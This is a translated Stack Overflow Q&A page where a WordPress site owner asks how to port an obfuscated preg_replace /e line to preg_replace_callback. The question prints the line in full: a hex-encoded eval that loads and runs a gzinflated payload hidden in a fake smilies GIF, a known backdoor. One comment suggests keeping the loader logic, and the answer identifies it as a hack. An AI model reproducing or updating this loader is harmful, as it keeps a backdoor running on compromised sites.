【问题标题】:Wordpress update preg_replace to preg_replace_callbackWordpress 将 preg_replace 更新为 preg_replace_callback
【发布时间】:2021-05-06 02:12:44
【问题描述】:

我正在更新我网站的 PHP,当我尝试将其更新到最新的 PHP 版本时,我收到以下消息:

警告:preg_replace():不再支持 /e 修饰符,请在第 291 行的 /home/customer/www/---.org/public_html/wp-includes/init.php 中使用 preg_replace_callback 代替

这是我要更改的行:

preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b","");

我需要将其更改为 preg_replace_callback 但我对这部分感到困惑:

\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\ x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\ x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\ x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\ x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b

我如何翻译那部分?

当我使用在线解码器时,它看起来像这样:

eval('$pagexyz = @file_get_contents("wp-includes/images/smilies/icon_wtf.gif");eval(@gzinflate($pagexyz));');

【问题讨论】:

  • 为什么要在这里使用正则表达式?你似乎只需要$pagexyz = file_get_contents("wp-includes/images/smilies/icon_wtf.gif"); gzinflate($pagexyz);。完全删除preg_replace

标签: php wordpress preg-replace preg-replace-callback


【解决方案1】:

我没有对此进行深入研究,但是,您应该有一个 wp-includes/init.php 文件吗?

Official repo 没有显示最新版本的此类文件

快速谷歌表明这是黑客攻击的结果,搜索“wp-includes/init.php”

还检查了我看到的代码“wp-includes/images/smilies/icon_wtf.gif”,为什么 f*** .gif 会在核心中?而且这里的编码函数闻起来很腥。

发布有关潜在黑客攻击的信息 https://blog.tonyballantyne.com/2017/01/25/wordpress-pharma-hack/

您不需要编辑 wp-includes/ 中的任何内容作为其核心文件夹。安装一个核心完整性检查插件并可能更新到最新版本是有意义的,你不能保证数据库没有被篡改。

【讨论】:

  • 我不太了解哪些文件夹应该或不应该在那里,文件的其余部分看起来很正常,除了那个看起来很奇怪的 preg_replace() 位。感谢您的建议。
猜你喜欢
  • 1970-01-01
  • 2015-10-02
  • 1970-01-01
  • 2016-05-18
  • 2017-06-02
  • 2016-02-07
  • 1970-01-01
  • 1970-01-01
  • 2013-04-28
相关资源
最近更新 更多